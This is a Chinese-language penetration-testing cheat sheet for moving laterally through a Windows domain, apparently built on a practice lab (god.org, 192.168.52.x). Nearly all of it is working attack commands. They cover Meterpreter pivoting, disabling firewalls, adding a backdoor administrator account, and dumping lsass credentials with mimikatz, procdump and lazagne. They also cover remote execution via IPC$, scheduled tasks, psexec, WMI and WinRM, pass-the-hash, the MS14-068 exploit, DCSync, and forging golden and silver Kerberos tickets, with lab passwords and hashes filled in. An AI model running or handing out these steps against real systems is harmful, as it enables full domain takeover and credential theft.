run autoroute -s 192.168.52.0/24 #添加路由
run autoroute -p #查看路由
run get_local_subnets #获取本地子网
sockes4
auxiliary/server/socks4a
/etc/proxychains.conf
sockes5
auxiliary/server/socks5
/etc/proxychains.conf
chcp 65001
net view /domain #查询域列表
net user /domain #查询域用户
时间服务器
域控时间服务器,若当前用户是域用户,会从域控返回当前时间,用来判断主域,主域一般用作时间服务器
通常域内主机的DNS 是指向域控主机的
确认域控服务器后可通过 ping,扫描有无 53,389端口确认域控服务器
net time /domain #查询域时间服务器
net group "domain controllers" /domain #查询域控主机
ipconfig /all
meterpreter > run post/windows/gather/arp_scanner rhosts=192.168.52.0/24
meterpreter > arp
关闭防火墙
netsh advfirewall set allprofiles state off
or
netsh firewall set opmode disable
3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
用户
net user hack net123!@# /add
net localgroup administrators hack /add
不能关闭防火墙情况下,端口转发3389端口
-l:本地监听端口-r:内网目标的ip-p:内网目标的端口
portfwd add -l 2222 -r 192.168.60.170 -p 3389
meterasploit 集成了mimikatz(已被kiwi取代),但上面的32位,无法在64位的系统上跑,如果需要在64位系统上跑mimikatz需要上传64位的mimikatz
Github 地址:https://github.com/gentilkiwi/mimikatz
:: #列出命令
privilege::debug #(提升权限)
sekurlsa::logonpasswords #(抓取明文密码和 hash)
Procdump 是微软官方dump工具,不会报毒
使用 procdump 将目标的 lsass.exe 转储成 dmp 文件
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
使用 mimikatz 从转储的 lsass.dmp 中来读取明文密码
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"
一款抓密码的神器,可以抓取系统密码、浏览器密码、wifi 密码等等。
lazagne.exe all
进程间通信(IPC,Inter-Process Communication),指至少两个进程或线程间传送数据或者信号的一些技术或方法。
利用条件:
C$,D$...
)和系统目录 winnt 或者 windows(admin$)利用思路:
建立IPC$连接
net use \\ip “密码” /user:”登陆账户”
net use \\192.168.52.138\ipc$ hongrisec@2021 /user:god\administrator
net use \\192.168.52.138\ipc$ #查看连接情况
添加网络映射
net use b: \\192.168.52.138\c$ hongrisec@2021 /user:god\administrator
net use * \del \y #删除所有连接
添加计划任务
2003 一下系统使用 at 命令 以上使用 schtasks 命令
win7 使用的是 at
copy artifact_domain.exe \\192.168.52.138\C$
net time \\192.168.52.138
at \\192.168.52.138 1:03 c:\artifact_domain.exe
at \\192.168.52.138 #查看计划任务
schtask /create/s 192.168.52.138 /u god\administrator /p hongrisec@2021 /ru "SYSTEM" /tn test/sc DAILY /tr c:\artifact.exe /F
创建计划任务,/s 指定远程机器名或 ip 地址,/ru 指定运行任务的用户权限,这里指定
为最高的 SYSTEM,/tn 是任务名称,/sc 是任务运行频率,这里指定为每天运行,并没什么
实际意义,/tr 指定运行的文件,/F 表示如果指定的任务已经存在,则强制创建任务并抑制警告
schtasks /run /s 192.168.19.177 /u god\administrator /p hongrisec@2021 /tn test /i
运行任务,其中/i 表示立即运行
删除计划任务
schtasks /delete /s 192.168.19.177 /u adtest\jeff1 /p test@123 /tn test /f
错误号 5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限;
错误号 51,Windows 无法找到网络路径 : 网络有问题;
错误号 53,找不到网络路径 : ip 地址错误;目标未开机;目标 lanmanserver 服务未启动;目标有防火墙(端口过滤);
错误号 67,找不到网络名 : 你的 lanmanworkstation 服务未启动;目标删除了 ipc$; 错
错误号 1219,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个 ipc$,请删除再连。
错误号 1326,未知的用户名或错误密码:原因很明显了;
错误号 1792,试图登录,但是网络登录服务没有启动:目标 NetLogon 服务未启动。(连接域控会出现此情况)
错误号 2242,此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码。
PsTools 是 sysinternals 开发的一个功能强大的安全管理工具包
运行pstools需要在在dosktop确认
下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
◆PsExec - 远程执行进程
◆PsFile - 显示远程打开的文件
◆PsGetSid - 显示计算机或用户的 SID
◆PsKill - 按名称或进程 ID 终止进程
◆PsInfo - 列出有关系统的信息
◆PsList - 列出有关进程的详细信息
◆PsLoggedOn - 查看在本地通过资源共享(包含所有资源)登录的用户
◆PsLogList - 转储事件日志记录
◆PsPasswd - 更改帐户密码
◆PsService - 查看和控制服务
◆PsShutdown - 关闭并重新启动(可选)计算机
◆PsSuspend - 暂停进程
psexec:
net use \\192.168.52.138 hongrisec@2021 /user:god\administrator
net use
psexec \\192.168.52.138 cmd.exe
相关问题
https://community.spiceworks.com/topic/468800-psexec-issue-cmd-exited-on-remote-pc-with-error-code-0
http://rawtechnology.blogspot.com/2012/11/take-screenshot-of-remote-computer-with.html?showComment=1396543916736#c5499036995628113610
WMI(Windows Management Instrumentation,Windows 管理规范)是一项核心的Windows 管理技术;用户可以使用 WMI 管理本地和远程计算机。
利用条件:
执行任意命令
无法回显状态
wmic /node:192.168.52.138 /user:god\administrator /password:hongrisec@2021 process call create "calc"
wmiexec.vbs 是为了解决 wmic 无法回显命令而开发的一个工具,原理就是把数据先存到一个临时文件中,在每次读取完执行结果后就自动删除。可以用来回显执行命令的结果和获取半交互式的 shell
cscript wmiexec_v1.1.vbs
cscript wmiexec_v1.1.vbs /cmd 192.168.52.138 god\administrator hongrisec@2021 whoami #cmd
cscript wmiexec_v1.1.vbs /shell 192.168.52.138 god\administrator hongrisec@2021 #shell 交互
WinRM(Windows Remote Management)是 Microsoft 对 WS-Management 协议的实现,WS-Management 协议即一种基于标准简单对象访问协议(soap)的防火墙友好协议,它让来自不同供应商的硬件和操作系统能够相互操作。windows 众多可以远程执行命令方式中的一种,一个类型 ssh 功能的东西。
利用条件:
客户端
Set-Item WSMan:localhost\client\trustedhosts -value 服务端IP -Force
服务端
# 查看状态,如无返回信息,则是没有启动
winrm enumerate winrm/config/listener
# 对winrm service 进行基础配置
winrm quickconfig
#为winrm service 配置加密方式为允许非加密
winrm set winrm/config/service‘@{AllowUnencrypted="true"}’
winrs 有些许鸡肋
winrs(windows remote shell)是 WinRM 的客户端,需要管理员权限才能运行,可直接执行命令,也可以返回交互式 shell。
winrs -r:http://192.168.52.138:5985 -u:god\administrator -p:hongrisec@2021 "whoami /all"
winrs -r:http://192.168.52.138:5985 -u:god\administrator -p:hongrisec@2021 "cmd"
Invoke-Command -ComputerName 192.168.52.138 -ScriptBlock {whoami} -credential god\administrator
PTH(pass the hash,hash 传递)攻击是指攻击者可以直接通过 LM Hash(已弃用)或 NTLM Hash 访问远程主机或服务,而不提供明文密码。
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::pth /user:administrator /domain:god /ntlm:a45a7246dd74b64a67f22fd7020f1bd8
impacket-examples-windows 是 impacket(网络协议工具包)的 windows 版本,包含了几十款工具
下载地址:
impacket-examples-windows:
https://github.com/maaaaz/impacket-examples-windows/releases
impacket:
https://github.com/SecureAuthCorp/impacket
LM无用,可以用 00000000000000000000000000000000 填充
-hashes LMHASH:NTHASH
wmiexec.exe -hashes edea194d76c77d87237cc0a5cbc3c059:a45a7246dd74b64a67f22fd7020f1bd8 god/[email protected] "whoami"
报错误一般是smb版本不对,安装SMBv1即可
[*] SMBv2.1 dialect used
[-] decode() argument 1 must be string, not None
MS14-068 是一个能够使普通用户提权获取域控权限的权限提升漏洞,微软给出的补丁是 kb3011780。在 server 2000 以上的域控中,只要没打这个补丁,都有可能被利用.
https://github.com/abatchy17/WindowsExploits/raw/master/MS14-068/MS14-068.exe
MS14-068.exe -u 域用户@域控名 -p 域用户密码 -s 域用户sid -d 域ip
MS14-068.exe -u [email protected] -s S-1-5-21-2952760202-1353902439-2381784089-500 -p hongrisec@2021 -d 192.168.52.138
删除当前缓存
mimikatz # kerberos::purge
or
klist purge
导入票据
mimikatz # kerberos::ptc [email protected]
dir \\owa.god.org\C$
当我们通过以上方法无法进行横向移动的时候,只能回到 web。通过扫描内网 web 应
用,通过 web 漏洞再进一步进行横向移动,常见能直接获得 webshell 的漏洞如下:
➢ struts2 远程代码执行
➢ weblogic 反序列化漏洞
➢ weblogic 弱口令
➢ tomcat 弱口令
➢ shiro 远程代码执行
➢ phpstudy 后门
➢ fastjson 远程代码执行
➢ sql 注入
➢ 等等
当内网没有 web 应用的时候,可以尝试通过一些系统漏洞来进行横向移动,通常不建
议使用此类漏洞,因为很容易导致服务器蓝屏,常见漏洞如下:
➢ MS08-067
➢ MS17-010
➢ CVE-2019-0708
➢ 等等
黄金票据(Golden Ticket)是有效的 TGT(TicketGranting Ticket)票据,是由 KERBEROS账户(KBRTGT)加密的。用于域控权限掉后,想再重新获取。因为域管的密码可能更改,通常 kbrtgt 账户不会有人去过问。
利用条件:
mimikatz # privilege::debug #(提升权限)
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords #(抓取明文密码和 hash)
mimikatz # lsadump::dcsync /domain:god.org /user:krbtgt #导出 krbtgt 密码 hash
mimikatz # lsadump::dcsync /domain:god.org /all /csv #导出所有域内用户密码 hash 值
域名:god.org
域的 SID:S-1-5-21-2952760202-1353902439-2381784089-500
aes256_hmac:a780c2c18b3287e3448562a36dccb2d57d11fd398b55ce2cd9b128308cef74df
NTLM:58e91a5ac358d86513ab224312314061
"kerberos::golden /domain:<域名> /sid:<域SID> /aes256: /user:<任意用户名> /ptt"
kerberos::golden /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089-500 /aes256:a780c2c18b3287e3448562a36dccb2d57d11fd398b55ce2cd9b128308cef74df /user:abc /ptt
kerberos::list
黄金票据是伪造 TGT,白银票据(Silver Tickets)是伪造 ST(Service Ticket),因为 TGT 在pac 里面限定了给 Client 授权的服务,所以银票只能访问指定的服务。
利用条件:
在黄金票据中我们可以不指定 target 和 service,但是在白银票据中必须指定 target 和service
域名:god.org
域的 SID:S-1-5-21-2952760202-1353902439-2381784089-500
NTLM:58e91a5ac358d86513ab224312314061
privilege::debug
kerberos::golden /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089-500 /target:owa.god.org /rc4:58e91a5ac358d86513ab224312314061 /service:cifs /user:aaa /ptt
/domain:指定域名
/sid:Client端查询的sid号,在域控中查询也可以,都是一样的
/target:主域控中的计算机全名
/rc4:在域控中抓取的hash(NTLM)
/service:需要伪造的服务(cifs只是其中的一种服务,可伪造的服务很多)
/user:需要伪造的用户名(可自定义)
/ppt:伪造了以后直接写入到内存中
白银票据:实际就是在抓取到了域控服务hash的情况下,在client端以一个普通域用户的身份生成TGS票据,并且是针对于某个机器上的某个服务的,生成的白银票据,只能访问指定的target机器中指定的服务。
而黄金票据:是直接抓取域控中ktbtgt账号的hash,来在client端生成一个TGT票据,那么该票据是针对所有机器的所有服务。